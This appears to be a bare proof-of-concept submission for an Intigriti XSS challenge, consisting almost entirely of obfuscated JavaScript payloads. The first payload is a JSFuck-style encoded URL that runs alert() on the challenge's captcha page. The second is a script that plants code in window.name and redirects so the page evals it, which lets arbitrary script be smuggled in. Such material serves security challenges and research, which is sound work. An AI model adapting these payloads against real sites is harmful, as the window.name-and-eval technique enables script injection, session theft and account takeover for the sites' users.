alert() POC :
https://challenge-0521.intigriti.io/captcha.php?c=[][[e%2b[]][0][5]%2b[e%2b[]][0][1]%2b[e%2b[]][0][25]%2b[e%2b[]][0][18]%2b[e%2b[]][0][26]%2b[e%2b[]][0][16]%2b[0[0]%2b[]][0][0]%2b[e%2b[]][0][5]%2b[e%2b[]][0][26]%2b[e%2b[]][0][14]%2b[e%2b[]][0][16]][[e%2b[]][0][5]%2b[e%2b[]][0][1]%2b[e%2b[]][0][25]%2b[e%2b[]][0][18]%2b[e%2b[]][0][26]%2b[e%2b[]][0][16]%2b[0[0]%2b[]][0][0]%2b[e%2b[]][0][5]%2b[e%2b[]][0][26]%2b[e%2b[]][0][14]%2b[e%2b[]][0][16]]`$${[%2b/3/%2b[]][0][1]%2b[e%2b[]][0][21]%2b[e%2b[]][0][22]%2b[e%2b[]][0][16]%2b[e%2b[]][0][26]%2b[[][[0[0]%2b[]][0][4]%2b[0[0]%2b[]][0][5]%2b[0[0]%2b[]][0][6]%2b[0[0]%2b[]][0][8]]%2b[]][0][13]%2b[[][[0[0]%2b[]][0][4]%2b[0[0]%2b[]][0][5]%2b[0[0]%2b[]][0][6]%2b[0[0]%2b[]][0][8]]%2b[]][0][14]}$```
Smuggle more data with window.name and execute it with eval POC :
<script>window.name="alert(document.domain)";location.href="https://challenge-0521.intigriti.io/captcha.php?c=[][[e%2b[]][0][5]%2b[e%2b[]][0][1]%2b[e%2b[]][0][25]%2b[e%2b[]][0][18]%2b[e%2b[]][0][26]%2b[e%2b[]][0][16]%2b[0[0]%2b[]][0][0]%2b[e%2b[]][0][5]%2b[e%2b[]][0][26]%2b[e%2b[]][0][14]%2b[e%2b[]][0][16]][[e%2b[]][0][5]%2b[e%2b[]][0][1]%2b[e%2b[]][0][25]%2b[e%2b[]][0][18]%2b[e%2b[]][0][26]%2b[e%2b[]][0][16]%2b[0[0]%2b[]][0][0]%2b[e%2b[]][0][5]%2b[e%2b[]][0][26]%2b[e%2b[]][0][14]%2b[e%2b[]][0][16]]`$${[e%2b[]][0][24]%2b[[][[0[0]%2b[]][0][4]%2b[0[0]%2b[]][0][5]%2b[0[0]%2b[]][0][6]%2b[0[0]%2b[]][0][8]]%2b[]][0][23]%2b[[][[0[0]%2b[]][0][4]%2b[0[0]%2b[]][0][5]%2b[0[0]%2b[]][0][6]%2b[0[0]%2b[]][0][8]]%2b[]][0][20]%2b[e%2b[]][0][21]%2b[[][[0[0]%2b[]][0][4]%2b[0[0]%2b[]][0][5]%2b[0[0]%2b[]][0][6]%2b[0[0]%2b[]][0][8]]%2b[]][0][13]%2b[e%2b[]][0][25]%2b[[][[0[0]%2b[]][0][4]%2b[0[0]%2b[]][0][5]%2b[0[0]%2b[]][0][6]%2b[0[0]%2b[]][0][8]]%2b[]][0][20]%2b[e%2b[]][0][23]%2b[e%2b[]][0][24]%2b[[][[0[0]%2b[]][0][4]%2b[0[0]%2b[]][0][5]%2b[0[0]%2b[]][0][6]%2b[0[0]%2b[]][0][8]]%2b[]][0][14]}```";</script>